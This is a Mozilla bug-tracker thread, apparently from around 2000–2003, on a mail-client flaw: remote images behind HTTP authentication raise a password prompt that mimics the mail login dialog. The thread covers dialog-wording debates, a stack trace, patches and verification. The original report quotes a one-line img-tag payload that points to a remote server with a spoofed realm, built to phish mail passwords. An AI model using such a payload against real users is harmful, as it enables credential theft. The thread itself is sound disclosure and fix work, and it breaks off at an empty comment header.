51631 - Mail image loading allows password trojan

Status: VERIFIED FIXED

(MailNews Core :: Security, defect, P2)

Description

[selmer (gone)]

Mail loads images when displaying a message in the message pane.  As part of
this loading, images that are password protected by the server will generate a
password prompt from our client.  This password dialog looks sufficiently like a
mail account login password dialog that the trojan is able to acquire mail
passwords.

Here is the original text from the reporter:

If you send a person a rich-text email containing the following IMG tag:

<img src = "http://bhaselton@206.67.57.234/pass-protected/" height=1 width=1>
then the next time they check their mail and read that message, they will
see the dialog box:


>>>

Username and password required
------------------------------
Enter username for [e-mail] at 206.67.57.234:
Username: [already filled in as "bhaselton"]
Password:

>>>

 (See attached graphic.)

Of course, when the user types in the password for the "bhaselton" account,
that password gets sent out to the hackers running 206.67.57.234.

I think an upper-level-intermediate user would fall for it.  The password
prompt is being displayed by the mail-reading application, and the title of
the dialog box says "Username and password required" (as opposed to
something obvious like "JavaScript alert").  Where the prompt dialog says
"Enter username for [e-mail]", the string
"[e-mail]" is actually the value for "realm" in the
WWW-Authenticate header variable sent back by the server:
WWW-Authenticate: Basic realm="[e-mail]" Connection: close
Content-Type: text/html

The fix is not to allow a rich text email message to load an image from a
password-protected location.  (There would never be any legitimate need to
do this.)

Comment 1

[selmer (gone)]

Attachment: Trojan password dialog

Comment 2

[selmer (gone)]

The attached dialog doesn't look like what I see today.  The current dialog has
a cryptic reference to a "Basic realm".  However, the dialog has no title!

I think one fix for this bug is to clean up the text in that dialog and give it
a title.  The title should say something like "Password required by <web host>"
and the text should say something like "A password is required to access <URL>".

I think these two changes would resolve this problem without having to turn off
image loading in mail.

Opinions?

Comment 3

[selmer (gone)]

Attachment: 9/6 commercial version of trojan dialog

Comment 4

[selmer (gone)]

Scott, do you know where this dialog gets generated? Does this belong to
MailNews or some other component?

Comment 5

[scottputterman]

cc'ing mscott and rhp.

Comment 6

[Scott MacGregor]

this dialog request originates down in http. Mailnews has no control of it. 

Comment 7

[selmer (gone)]

OK, I think they should still be able to fix up the title and text as I
suggested though.  Who would be the right owner for this bug, I don't think it's
mstoltz...

Comment 8

[Mitchell Stoltz (not reading bugmail)]

Gagan, are you the right person to do this? In short, we want the http 
authentication dialog to include a little more information to distinguish it from 
a mail password dialog.

Comment 9

[Phil Peterson]

Steve's suggestion works for me, and I'd further suggest that we add more
explanatory text to the mail server password dialog. It's pretty vague too.

Comment 10

[Jim Roskind]

Sadly, I know these dialogs do confuse me, and not merely because of the text.  
I have a passphrase for my SSL IMAP private key, and I have a separate Netscape 
unix login (email password).  I switch back and forth between machines that have 
and don't have my private key ring, and the result is that I get confused and 
typically don't read the text when a password dialog appears.  I've typed the 
wrong password too many times to remember :-(.  The text on those two dialogs is  
pretty ydifferent... but I just don't read it :-( :-(.

I'd say that we need a real visible graphical difference, or a significant 
user-experience difference (example: bright red for email password only; or 
extra pop-up in one case or the other).  In general, the fact that we use a 
system where "requests for passwords" can pop up at rather arbitrary times 
really makes it nearly impossible for humans to get all this right, and not be 
lured in by a spoof.  

I might even argue that it is soooo unusal for an email message to require a 
basic-auth, that we could have extra dialogs to say:

"This email display is requring for a password which is NOT your email password.  
Would you like to simply not display the image?"

This extra level of dialogs would help to avoid confusing the standard "email 
password popup" from the two-level basic-auth-in-email.

Whether the text is more clear or not, folks are just not reading it (or at 
least I know I'm being bad, and I'm not).  If we want to change the security 
result, we have to do something more than make a texttual change IMO.

Comment 11

[Phil Peterson]

This is a bad time to suggest new architecture to distinguish HTTP URLs running
in mail from those running in the browser. Especially considering that it's
pretty difficult to prevent 100% of spoofing attacks on careless users. Let's
stick with something simple and implementable which improves the lives of users
who actually pay attention to where they type their password. 

Comment 12

[selmer (gone)]

The one thing I see in Jim's comments that we could do right now is to add our
Mail icon into the Mail password prompt and make up another graphic for the URL
prompt.  The UI folks may have other recommendations, adding jglick to the CC.

Comment 13

[Scott MacGregor]

Unfortunately the mail password dialog is not under our control. It's brought up
and is owned by the single signon code. It is reused for many other password
dialogs too. (I believe single signon is using the implementation in
commonDialogs.xul).

So changing the password dialog to look special for mail will involve API
changes between commonDialogs.xul, single signon and mailnews. Certainly
solvable problems but not trivial, easy stuff to squeeze in. 

Comment 14

[jglick]

I agree that the different types of dialogs should look different.  The Mail, IM 
or other app specific user name/password dialogs should look different than the 
Single Signon Password dialog or website specific name/password. It should be 
clear to the user if they are being asked for an app specific password verses a 
"Master Password" verses a website password.  This was brought up during all the 
password manager discussions. Unfortunately, not much ever came of this issue.

As far as needing a password to download an image from a website that requires a 
password, if this is not very common and a potential security issue, I agree 
with jar than an extra ALERT dialog could be used. Wake up the user that 
something unusual is happening.

Alert Dialog with Alert icon. "This message contains an image from a website, 
<name>, that requires a user name and password.  If you do not recognize this 
website, or have a user name and password for this website, it is recommended 
that you view this message without the image."

"View this message without the image?  Yes/No."

Cc'ing Robin Foster for wording suggestions.

 

Comment 15

[robinf]

I'd make just one small clarification (see below, between >> << ) to the message 
that Jennifer proposes:

Alert Dialog with Alert icon. "This message contains an image from a website, 
<name>, that requires a user name and password.  If you >>either<< do not 
recognize this website, or have a user name and password for this website, it is 
recommended that you view this message without the image."

"View this message without the image?  Yes/No."

Comment 16

[Scott MacGregor]

Such a dialog would be great! But as I mentioned before it is not easy and I
think we are beyond the point in 6.0 for implementing something that
complicated. When http throws the dialog for the password for the image, it has
no idea that it's running in a mailnews context. We would have to change some
necko APIs to somehow pass this information down into http.

I believe the only safe, non complex solution we should do for 6.0 is to have
http put more specific text in the password dialog when it throws it (i.e. the
site: insert url here. Requires authentication.....).  Note, the text of the
auth dialog thrown by http can't mention mail because it has no idea we are
running in a mail context. The dialog is a generic usernmae/password dialog that
http throws when you connect to any site requiring authentciation.

Comment 17

[Phil Peterson]

So let's go back to Steve's (and my) suggestions:

HTTP auth:   Window title: Password required by <web host>.  Window Contents:  A
password is required to access <URL>

IMAP/POP/SMTP auth:  Window title: Password required by mail server <host>.
Window Contents:  Enter mail server password for <user@host>

Now let's throw darts at that.

Comment 18

[selmer (gone)]

Scott, I wasn't referring to the image URL when I mentioned using a Mail icon.
I was referring to the dialog where we prompt for the server login password.
Don't we have control over that one?

Comment 19

[selmer (gone)]

:-) Phil and I had a "mid-air collision" - I'm glad we're in basic agreement :-)

Comment 20

[Phil Peterson]

I want to amend my suggestions for window titles, to "Web page password" and
"Mail server password"

Comment 21

[Scott MacGregor]

Hey Steve, in my comments at 13:25, I too was talking about the mail password
dialog. It's brough up by single signon. The only control we have is the message
text that goes into the dialog. The dialog itself isn't ours and we can't add
icons and things to it. 

Comment 22

[Mitchell Stoltz (not reading bugmail)]

I like Phil's suggestion. Icons and other fancy distinguishing features can
wait. The wording Phil suggests clearly distinguishes mail from HTTP
authentication for anyone who bothers to read it.

Comment 23

[selmer (gone)]

Could we put a flag in the password store that single signon could use as its
mail server hint?  That probably wouldn't entail huge, scary API changes.  (It
might entail huge scary single signon changes though :-)

Comment 24

[Gagan]

What mscott said above for mail applies exactly for http as well. We don't throw
the dialog box up, single signon does. so over to morse. 

BTW I am curious how did we handle this in 4.x?

Comment 25

[Jim Roskind]

We haven't yet done anything about this in 4.x.  I'd like to see consideration 
of something in 4.7x, but we'll have to see where we are in the schedule of 
releases.

Jussi/Dprice: Could you open a related bug for the Nav 4.x product?

Thanks,

Jim

Comment 26

[Scott MacGregor]

Hey Gagan, I think you gave this bug away too fast =). With the proposed 
solution that we are  looking at, you and I have to do the work for it. We have 
control over the text that goes in the password dialog when we throw it and the 
current solution is for both mail and ftp to slightly change the wording of the 
text to be more specific. See Phil's comments above. So this should probably be 
owned by you and me. 

getting on the beta3 radar since we've spent so much time talking about it, I'm 
pretty sure someone is going to let us do it =).

Comment 27

[jglick]

How about:

Title - "Webpage Password Required"
Text - "A user name and password is required to access the webpage <name>"

Title - "Mail Server Password Required"
Text - "Enter your password for <username@servername>."  (this matches what we 
have currently)

Comment 28

[Phil Peterson]

Fine with me, except I wonder if "webpage" is one word or two.

Comment 29

[jglick]

Robin?  :-)

Comment 30

[robinf]

According the Client Pubs style guide, web page is two words.

Comment 31

[Daniel Veditz [:dveditz]]

Reassigning to mscott based on his comments saying it was his and Gagan's 
issue, at least for this simple text-only fix.

Comment 32

[Stephen P. Morse]

Sorry for not commenting sooner but I was out of town for the past few days and 
just saw the bug report now.

Yes, it is single signon that puts up the dialog in both the mail-password case 
and in the http-authentication case.  The callers in the two cases pass the text 
to single-signon but do not pass the title line.  So we would need an API change 
if you want the caller to control the title line as well.

Comment 33

[selmer (gone)]

nsbeta3+

Comment 34

[Scott MacGregor]

What's the group consensus, is changing the text of the dialog enough or does
the window title need changed too? The time of this bug goes from about 1 minute
to change a string to changing the interface for throwing a password prompt to
include a title string. Not hard, but there are a lot of callers that need
tweaked in the code base. 9/14 is soon approaching...

Comment 35

[Phil Peterson]

Scott, right now the auth dialog has no window title at all, which seems
unacceptable. Do we need to sweep through the callers with a new interface to
fix that?

Comment 36

[Stephen P. Morse]

I was wrong in my previous comment.  I just checked the code and the api does 
indeed have a parameter for the dialog title.  So it is up to the caller to pass 
in a title.

The caller for the authentication dialog is in nsHTTPChannel.cpp line 2097, 
namely:

        rv = mPrompter->PromptUsernameAndPassword(nsnull,
                message.GetUnicode(),
                prePath.GetUnicode(),
                nsIPrompt::SAVE_PASSWORD_PERMANENTLY,
                getter_Copies(userBuf),
                getter_Copies(passwdBuf),
                &retval);

That first parameter is the dialog title and currently null is being passed in.

Comment 37

[Stephen P. Morse]

One other caller that is also passing in a null title is:

   nsFTPConnectionThread.cpp, line 831

The following callers are already passing in a (non-null) title string:

   nsNewFolder.cpp, line 1426
   nsNewFolder.cpp, line 1492
   nsSmtpServer.cpp, line 208
   nsMsgIncomingServer.cpp, line 669
   nsFTPConnectionThread.cpp, line 917
   nsEditorShell.cpp, line 1707

Comment 38

[Jim Roskind]

mscott: Lets try to get the 1-minute textual change.  We may have to do more
later, but lets at least nail the easy hit.

Thanks,

Jim

p.s., Yes, I know it takes much more than 1-minute... ;-)

Comment 39

[Phil Peterson]

I disagree. "easy hit" not enough in this case. Window titles are required in
order to make our text-only advice to the user effective.

Comment 40

[Scott MacGregor]

Looks like a recent regression is preventing the window titles from showing up
on our password dialogs. As Steve pointed out, we are passing in a title
currently. It just isn't showing up for some reason anymore.

When I change the string to match what we decided here, I'll look into figuring
out why they aren't showing up anymore. 

Comment 41

[Jim Roskind]

Phil: To be clear: The "easy hit" is the "title change."  Morse explained that
the API *is* present.  Mscott noted that there may be a bug in the code... but
the API is in place, and should be used.

Jim

Comment 42

[Scott MacGregor]

The Good News: I've made the mail changes to change the password dialog text to
match what we decided here.

The Bad News: window titles in general for windows machines are broken in
seamonkey as mentioned previously. They seem to work in the browser main window.
But that's the only window I could see where a window title worked. The mail
3-pane window doesn't have it's window title updated correctly (it always says
just "mail" now where it used to include information about the selected folder).
And of course the password dialog window title doesn't show up.

I stepped through the debugger all the way into the common dialogs
(nsCommonDialogs.cpp) and the window title is set. So it gets lost some time
after that.

I'll have to file another bug for someone to investigate that further. It sounds
like a beta3 stopper to me though.

Re-assigning this bug over to Gagan so he can implement the password text change
for http. 

Comment 43

[Scott MacGregor]

don't forget that the UI freeze is tonight for making changes that effect
localizability (like this bug). So the http text changes need to be made by
midnight tonight.....

Also, I filed 52687 to investigate why window dialog titles are no longer
showing up on windows. 

Comment 44

[lchiang]

The window title bug is actually
http://bugzilla.mozilla.org/show_bug.cgi?id=50682, I think.  But, it hasn't been
triaged yet :-(

Comment 45

[lchiang]

This bug may need to be a higher priority than P3 or else it'll get dropped off
the list :-(

Comment 46

[Phil Peterson]

upgrading to P2. this is important.

Comment 47

[Phil Peterson]

Talked this over with jar and we think we can live without this in PR3 (it's 
just a beta, and our behavior is similar to 4.x). Marking nsbeta3- but adding 
rtm nomination. We still think this is important to fix for RTM.

Comment 48

[Gagan]

->darin

Comment 49

[Darin Fisher]

Can someone post a testcase for this?

Comment 50

[Darin Fisher]

Attachment: Modify as appropriate for yourself and then pipe this through sendmail.

Comment 51

[Darin Fisher]

In Linux build 2000101109, I do not see a user/pass prompt.  I verified that
this is because the creator of the HTTP channel is not implementing nsIPrompt.

This is similar to bug 56031.

Can someone verify that a prompt is no longer shown.

Comment 52

[Darin Fisher]

I am unable to reproduce the dialog box in WinNT build 20001023.  Can someone
please verify the behavior of this bug???

Comment 53

[Gagan]

Seems like the two dialog boxes are reasonably different. Marking as fixed. Pls
reopen if you disagree. 

Comment 54

[selmer (gone)]

What checkin made this "fixed"?  I didn't think we were looking for the prompts
to completely go away, we were looking for the dialogs to be clearer about what
was happening.  I think you're really saying this bug is now hidden by 56031.
Maybe it should be dependent on 56031 instead?

Does 56031 imply that these images simply fail to load?

Comment 55

[Darin Fisher]

I think Steve is right about this depending on 56031.  Once that problem is
fixed, we will be able to readdress this bug.  -> marking depends on 56031

Comment 56

[Darin Fisher]

Because of bug 56031, mail image loading cannot lead to a password dialog, and
therefore it cannot lead to a trojan password dialog.  So, I think this is safe
to future... changing whiteboard status to rtm-.

Comment 57

[Jaime Rodriguez, Jr.]

Removing [PDT] grafitti.

Comment 58

[Daniel Veditz [:dveditz]]

Should be groupset 2, not 1024

Comment 59

[Robert O'Callahan (:roc) (email my personal email if necessary)]

Bug 56031, aka bug 62108, has been fixed for six months. Unfuturing and
targeting at 1.2beta. Sorry, but you're really going to have to fix this this
time :-).

Comment 60

[Asa Dotzler [:asa]]

cc: list needs to be able to see this bug 

Comment 61

[(not reading, please use [e-mail] instead)]

Is the plan to find some what to make mail password dialogs look different than
HTTP password dialogs?  (say, by using a special mail icon instead of the normal
? icon).  I see that the window title is already mail specific.

Or is the plan to outright block password prompts coming from inside mail messages?

We've already got some attributes on the browser tag like:

<browser id="messagepane" disablehistory="true" disablesecurity="true" .../>

could we have another thing that we could use to indicate that we don't want any
auth UI coming from the content loading in this iframe (browser)?

taking from darin, as he thinks this is all apps, not necko.

Comment 62

[Darin Fisher]

i'm not sure that there is good consensus on what to do about this problem.  it
probably is reasonable to disable HTTP auth prompts in mailnews... i don't see
much application for password protected inline content on a mail message, but
perhaps someone out there depends on this.  in which case the solution is to
strongly differentiate these dialogs somehow.

Comment 63

[(not reading, please use [e-mail] instead)]

right now, we do have this pref:

Prefs | Privacy and Security | Images | Do not load remote images in Mail &
Newsgroup messages.

is that enough?  (that wasn't there when this bug was created.)

or is there another way (not img src) to get the password prompt?

or is disabling remote images a seperate issue.
 

Comment 64

[Daniel Veditz [:dveditz]]

Disabling images is a separate issue, there are other ways to hit servers. In
any case images are -on- by default, no help to the vast majority of the very
people most likely to be fooled by the auth dialog.

Comment 65

[Darin Fisher]

seth: there's also linked stylesheets that could require HTTP authentication.

Comment 66

[Robert O'Callahan (:roc) (email my personal email if necessary)]

I can't seem to get a testcase to work. Can someone attach screenshots of the
two dialogs so we can see how serious any remaining problem is?

Comment 67

[(not reading, please use [e-mail] instead)]

I modified the test case, to use an ftp url, which we'll also have to fix.
(I'll attach it.)

Here's one place you'll want to set a breakpoint:
nsSingleSignOnPrompt::SetPromptDialogs()

Here's where I am when I set that breakpoint on the test message:

nsSingleSignOnPrompt::SetPromptDialogs(nsSingleSignOnPrompt * const 0x053d2070,
nsIPrompt * 0x053d2018) line 688
NS_NewAuthPrompter(nsIAuthPrompt * * 0x054ac114, nsIDOMWindow * 0x0538301c) line
91 + 27 bytes
nsWindowWatcher::GetNewAuthPrompter(nsWindowWatcher * const 0x01226ea8,
nsIDOMWindow * 0x0538301c, nsIAuthPrompt * * 0x054ac114) line 846 + 13 bytes
nsXULWindow::EnsureAuthPrompter(nsXULWindow * const 0x054ac0d8) line 808 + 59 bytes
nsXULWindow::GetInterface(nsXULWindow * const 0x054ac0dc, const nsID & {...},
void * * 0x0012e454) line 148 + 16 bytes
nsContentTreeOwner::GetInterface(nsContentTreeOwner * const 0x056f3d30, const
nsID & {...}, void * * 0x0012e454) line 121 + 30 bytes
nsGetInterface::operator()(const nsID & {...}, void * * 0x0012e454) line 53 + 31
bytes
nsCOMPtr<nsIAuthPrompt>::assign_from_helper(const nsCOMPtr_helper & {...}, const
nsID & {...}) line 922 + 18 bytes
nsCOMPtr<nsIAuthPrompt>::nsCOMPtr<nsIAuthPrompt>(const nsCOMPtr_helper & {...})
line 554
nsDocShell::GetInterface(nsDocShell * const 0x056f3988, const nsID & {...}, void
* * 0x0012e5f4) line 360 + 33 bytes
nsWebShell::GetInterface(nsWebShell * const 0x056f3988, const nsID & {...}, void
* * 0x0012e5f4) line 321 + 17 bytes
nsDocShell::InterfaceRequestorProxy::GetInterface(nsDocShell::InterfaceRequestorProxy
* const 0x056fcb50, const nsID & {...}, void * * 0x0012e5f4) line 6796 + 31 bytes
nsFTPChannel::SetNotificationCallbacks(nsFTPChannel * const 0x0544b138,
nsIInterfaceRequestor * 0x056fcb50) line 556 + 56 bytes
NS_NewChannel(nsIChannel * * 0x0012e874, nsIURI * 0x05317560, nsIIOService *
0x016cac38, nsILoadGroup * 0x00000000, nsIInterfaceRequestor * 0x056fcb50,
unsigned int 2049) line 172 + 16 bytes
NewImageChannel(nsIChannel * * 0x0012e874, nsIURI * 0x05317560, nsIURI *
0x0537c45c, nsIURI * 0x0537c45c, nsILoadGroup * 0x056fc8a0, unsigned int 2048)
line 191 + 33 bytes
imgLoader::LoadImage(imgLoader * const 0x017e9e70, nsIURI * 0x05317560, nsIURI *
0x0537c45c, nsIURI * 0x0537c45c, nsILoadGroup * 0x056fc8a0, imgIDecoderObserver
* 0x056fd510, nsISupports * 0x0178a5d0, unsigned int 2048, nsISupports *
0x00000000, imgIRequest * 0x05317768, imgIRequest * * 0x0012ea58) line 449 + 58
bytes
nsImageFrame::RealLoadImage(const nsAString & {...}, nsIPresContext *
0x0178a5d0, imgIRequest * 0x05317768, int 1) line 2016 + 118 bytes
nsImageFrame::LoadImage(const nsAString & {...}, nsIPresContext * 0x0178a5d0,
imgIRequest * 0x05317768, int 1) line 1941 + 24 bytes
nsImageFrame::Init(nsImageFrame * const 0x057586ac, nsIPresContext * 0x0178a5d0,
nsIContent * 0x053247c0, nsIFrame * 0x057584c4, nsIStyleContext * 0x05758658,
nsIFrame * 0x00000000) line 324 + 33 bytes
nsCSSFrameConstructor::InitAndRestoreFrame(nsIPresContext * 0x0178a5d0,
nsFrameConstructorState & {...}, nsIContent * 0x053247c0, nsIFrame * 0x057584c4,
nsIStyleContext * 0x05758658, nsIFrame * 0x00000000, nsIFrame * 0x057586ac) line
6784 + 32 bytes
nsCSSFrameConstructor::ConstructHTMLFrame(nsIPresShell * 0x05383a58,
nsIPresContext * 0x0178a5d0, nsFrameConstructorState & {...}, nsIContent *
0x053247c0, nsIFrame * 0x057584c4, nsIAtom * 0x016df0b0, int 3, nsIStyleContext
* 0x05758658, nsFrameItems & {...}) line 4976
nsCSSFrameConstructor::ConstructFrameInternal(nsIPresShell * 0x05383a58,
nsIPresContext * 0x0178a5d0, nsFrameConstructorState & {...}, nsIContent *
0x053247c0, nsIFrame * 0x057584c4, nsIAtom * 0x016df0b0, int 3, nsIStyleContext
* 0x05758658, nsFrameItems & {...}, int 0) line 7392 + 49 bytes
nsCSSFrameConstructor::ConstructFrame(nsIPresShell * 0x05383a58, nsIPresContext
* 0x0178a5d0, nsFrameConstructorState & {...}, nsIContent * 0x053247c0, nsIFrame
* 0x057584c4, nsFrameItems & {...}) line 7286 + 56 bytes
nsCSSFrameConstructor::ProcessBlockChildren(nsIPresShell * 0x05383a58,
nsIPresContext * 0x0178a5d0, nsFrameConstructorState & {...}, nsIContent *
0x03b6a958, nsIFrame * 0x057584c4, int 1, nsFrameItems & {...}, int 1) line
13351 + 57 bytes
nsCSSFrameConstructor::ConstructBlock(nsIPresShell * 0x05383a58, nsIPresContext
* 0x0178a5d0, nsFrameConstructorState & {...}, const nsStyleDisplay *
0x0575843c, nsIContent * 0x03b6a958, nsIFrame * 0x05758188, nsIStyleContext *
0x05758408, nsIFrame * 0x057584c4) line 13299 + 36 bytes
nsCSSFrameConstructor::ConstructFrameByDisplayType(nsIPresShell * 0x05383a58,
nsIPresContext * 0x0178a5d0, nsFrameConstructorState & {...}, const
nsStyleDisplay * 0x0575843c, nsIContent * 0x03b6a958, int 3, nsIAtom *
0x016da518, nsIFrame * 0x05758188, nsIStyleContext * 0x05758408, nsFrameItems &
{...}) line 6547 + 43 bytes
nsCSSFrameConstructor::ConstructFrameInternal(nsIPresShell * 0x05383a58,
nsIPresContext * 0x0178a5d0, nsFrameConstructorState & {...}, nsIContent *
0x03b6a958, nsIFrame * 0x05758188, nsIAtom * 0x016da518, int 3, nsIStyleContext
* 0x05758408, nsFrameItems & {...}, int 0) line 7435 + 53 bytes
nsCSSFrameConstructor::ConstructFrame(nsIPresShell * 0x05383a58, nsIPresContext
* 0x0178a5d0, nsFrameConstructorState & {...}, nsIContent * 0x03b6a958, nsIFrame
* 0x05758188, nsFrameItems & {...}) line 7286 + 56 bytes
nsCSSFrameConstructor::ContentAppended(nsCSSFrameConstructor * const 0x054e29f8,
nsIPresContext * 0x0178a5d0, nsIContent * 0x05480110, int 0) line 8540
StyleSetImpl::ContentAppended(StyleSetImpl * const 0x0536e658, nsIPresContext *
0x0178a5d0, nsIContent * 0x05480110, int 0) line 1527
PresShell::ContentAppended(PresShell * const 0x05383a60, nsIDocument *
0x05376e00, nsIContent * 0x05480110, int 0) line 5281 + 49 bytes
nsDocument::ContentAppended(nsDocument * const 0x05376e00, nsIContent *
0x05480110, int 0) line 2113
nsHTMLDocument::ContentAppended(nsHTMLDocument * const 0x05376e00, nsIContent *
0x05480110, int 0) line 1406 + 17 bytes
HTMLContentSink::NotifyAppend(nsIContent * 0x05480110, int 0) line 5282
SinkContext::FlushTags(int 1) line 2229
HTMLContentSink::CloseBody(HTMLContentSink * const 0x0547c350, const
nsIParserNode & {...}) line 3412
CNavDTD::CloseBody(const nsIParserNode * 0x053c5878) line 3191 + 31 bytes
CNavDTD::CloseContainer(const nsCParserNode * 0x053c5878, nsHTMLTag
eHTMLTag_body, int 0) line 3528 + 12 bytes
CNavDTD::CloseContainersTo(int 1, nsHTMLTag eHTMLTag_body, int 0) line 3591 + 20
bytes
CNavDTD::CloseContainersTo(nsHTMLTag eHTMLTag_body, int 0) line 3747 + 20 bytes
CNavDTD::DidBuildModel(CNavDTD * const 0x018ae590, unsigned int 0, int 1,
nsIParser * 0x0301e168, nsIContentSink * 0x0547c350) line 608
nsParser::DidBuildModel(unsigned int 0) line 1262 + 41 bytes
nsParser::ResumeParse(int 1, int 1, int 1) line 1811
nsParser::OnStopRequest(nsParser * const 0x0301e16c, nsIRequest * 0x05492064,
nsISupports * 0x0537c458, unsigned int 0) line 2432 + 21 bytes
nsDocumentOpenInfo::OnStopRequest(nsDocumentOpenInfo * const 0x05497b88,
nsIRequest * 0x05492064, nsISupports * 0x0537c458, unsigned int 0) line 257
nsStreamConverter::OnStopRequest(nsStreamConverter * const 0x054f9998,
nsIRequest * 0x05492064, nsISupports * 0x0537c458, unsigned int 0) line 1099
nsDocumentOpenInfo::OnStopRequest(nsDocumentOpenInfo * const 0x05541d30,
nsIRequest * 0x05492064, nsISupports * 0x0537c458, unsigned int 0) line 257
nsMsgProtocol::OnStopRequest(nsMsgProtocol * const 0x05492060, nsIRequest *
0x0179c39c, nsISupports * 0x0537c458, unsigned int 0) line 341 + 88 bytes
nsMailboxProtocol::OnStopRequest(nsMailboxProtocol * const 0x05492060,
nsIRequest * 0x0179c39c, nsISupports * 0x0537c458, unsigned int 0) line 375
nsOnStopRequestEvent::HandleEvent() line 213
nsARequestObserverEvent::HandlePLEvent(PLEvent * 0x0545967c) line 116
PL_HandleEvent(PLEvent * 0x0545967c) line 644 + 10 bytes
PL_ProcessPendingEvents(PLEventQueue * 0x01167630) line 574 + 9 bytes
_md_EventReceiverProc(HWND__ * 0x00060264, unsigned int 49509, unsigned int 0,
long 18249264) line 1335 + 9 bytes
USER32! 77e11b60()
USER32! 77e11cca()
USER32! 77e183f1()
nsAppShellService::Run(nsAppShellService * const 0x011eb230) line 472
main1(int 2, char * * 0x00277ba0, nsISupports * 0x00277c28) line 1522 + 32 bytes
main(int 2, char * * 0x00277ba0) line 1883 + 37 bytes
mainCRTStartup() line 338 + 17 bytes
KERNEL32! 77e8d326()

Comment 68

[(not reading, please use [e-mail] instead)]

Attachment: save this under <profile>/<salt>.slt/Mail/Local Folders

Comment 69

[(not reading, please use [e-mail] instead)]

my current idea was to see if we could set something on the browser tag on the
message pane (see
http://lxr.mozilla.org/seamonkey/search?string=id%3D%22messagepane%22)

right now we have:

<browser id="messagepane" context="messagePaneContext" style="height: 0px;
min-height: 1px" flex="1" name="messagepane" 
  disablesecurity="true" disableHistory="true" type="content-primary"  
src="about:blank" onclick="contentAreaClick(event);"/>

I was thinking we could add disableauth="true"

and then somewhere in that stack get the document from the shell, then get the
parent document from the document, the call
parentDoc->FindContentForSubDocument() to get the browser element content, then
QI to the nsIDOMElement from the browser element, and then check see if the
disableauth attribute is set to "true".

if it was "true", we'd bail out.  I'm hoping by bailing out at the right time,
the load (of the img, style sheet, etc) will fail gracefully.

I haven't tried any of this yet, so I'm not sure if it will work for all the
potential code paths that will throw up the auth dialogs.

comments?

Comment 70

[Robert O'Callahan (:roc) (email my personal email if necessary)]

I think we should just improve the wording and titles of the prompt boxes.

Right now the HTTP auth box for the image says

**Password****************************************************
| Enter password for sspitzer on ftp://[e-mail] |
| __________________________________________________________ |
| [ ] Use Password Manager to remember this password         |
|                 [ OK ]                                     |
**************************************************************

The master password prompt for stored passwords is

**Prompt*************************************************************
| Please enter the master password for the Software Security Device |
| _________________________________________________________________ |
|                 [ OK ]                                            |
*********************************************************************

The actual mail password request is

**Mail Server Password Required*****************************
| Enter your password for [e-mail]              |
| ________________________________________________________ |
| [ ] Use Password Manager to remember this password       |
|                 [ OK ]                                   |
************************************************************

Comment 71

[Robert O'Callahan (:roc) (email my personal email if necessary)]

I think a couple of wording changes would satisfy my paranoia:

1) Change the title for the HTTP Auth box to "Web Page Password"

2) Change the wording of the password prompt to "Send password for XXX to YYY"
(e.g., "Send password for sspitzer to ftp://[e-mail]",
"Send password for [e-mail] to ocallahan.org")

Comment 72

[Robert O'Callahan (:roc) (email my personal email if necessary)]

(A nice touch would be to say "Send password" if the underlying protocol reveals
the password text to the server, but to say "Enter password" if the underlying
protocol does not reveal the password text (or equivalent) to the server. But I
wouldn't bother :-).)

Comment 73

[(not reading, please use [e-mail] instead)]

I'd rather not see any "externally driven" password prompts when reading mail.

that's a bad user experience.

if we can prevent it, we shouldn't allow mail from the outside to cause us to
pop up a password dialog, just like we shouldn't allow mail to open up popups.

Comment 74

[(not reading, please use [e-mail] instead)]

moving out to 1.3 beta

Comment 75

[Robert O'Callahan (:roc) (email my personal email if necessary)]

I'd rather not see them too, but I'd rather see a password dialog than simply be
denied access to the auth-protected content. It's not inconceivable that someone
might want to do this legitimately.

Comment 76

[Mitchell Stoltz (not reading bugmail)]

There are a number of page behaviors which could possibly be of legitimate use
from within a mail message, but in practice they are not much used and we
disable them in mail for security reasons. The most obvious one is Javascript.
We turned that off over a year ago, and no one has complained, so I doubt that
disabling HTTP-auth from mail will cause a serious usability problem. The simple
workaround, of course, is to open the document in a browser window. I agree with
Seth that allowing any content-generated auth prompts in mail messages is
potentially confusing. 

Comment 77

[[e-mail]]

removing packetgram account from the cc list b/c never should have added it.

Comment 78

[Mitchell Stoltz (not reading bugmail)]

Any progress on this?

Comment 79

[(not reading, please use [e-mail] instead)]

didn't make it for 1.3, sliding out to 1.4 alpha.

Comment 80

[(not reading, please use [e-mail] instead)]

nsbeta1, since security related

Comment 81

[Samir Gehani]

Mail triage team: nsbeta1+/adt3

Comment 82

[(not reading, please use [e-mail] instead)]

looking into this, for beta.

Comment 83

[(not reading, please use [e-mail] instead)]

ok, for the ftp problem I have a fix.

I don't think we should ever allow img src=ftp:// urls in mail because either we
get the prompt (bad), or me might send over the users email address, if the ftp
access is anonymous!

I've got a patch for that problem, I'll attach it.

hmm, maybe mailnews needs to have its own nsIContentPolicy implementation,
instead of piggy backing on the one in cookie.  this would allow me to cleanly
block remote style sheets, too.

I'll talk to darin / cavin about that.

but first, on to the http:// auth problem.

Comment 84

[(not reading, please use [e-mail] instead)]

Attachment: patch for img src=ftp issue

Comment 85

[(not reading, please use [e-mail] instead)]

Attachment: patch

addresses the auth issue, and the <img src= ftp can send your email address
issue>

Comment 86

[(not reading, please use [e-mail] instead)]

Attachment: save this under <profile>/<salt>.slt/Mail/Local Folders

Comment 87

[(not reading, please use [e-mail] instead)]

Attachment: better patch, per darin's comments.

Comment 88

[Darin Fisher]

Comment on attachment 121729 [details] [diff] [review]
better patch, per darin's comments.

looks real good... i would just treat "resource:" like "chrome:" in
nsImgManager.

sr=darin

Comment 89

[(not reading, please use [e-mail] instead)]

Attachment: check resource, too, per darin.

Comment 90

[(not reading, please use [e-mail] instead)]

landed on the trunk, I got r=bienvenu.

do we want this for 1.3.1?

Comment 91

[(not reading, please use [e-mail] instead)]

fixed.

Comment 92

[(not reading, please use [e-mail] instead)]

whoops, my fix caused a regression.  se bug #203629

Comment 93

[Ninoschka Baca]

Branch and Trunk build 2003-06-04: WinMe - ok.
Branch and Trunk build 2003-06-05: Mac 10.1.5, Linux RH 8
Verified Fixed using a special set of messages that Seth created:

1. The first message displays a broken image, not an http login dialog
2. The second message displays square box, not an ftp login dialog
3. The third message displays a gif file

Note: If I try to print message 1 or 2 then the login dialogs appear. This
doesn't  seem right.

Comment 94

[(not reading, please use [e-mail] instead)]

> Note: If I try to print message 1 or 2 then the login dialogs appear. This
> doesn't seem right.

ooh, good catch!

when we print, I need to call SetAllowAuth(PR_FALSE) on the doc shell we use for
printing.

let's log a new, Security-Sensitive bug, on this spin off issue.

Comment 95

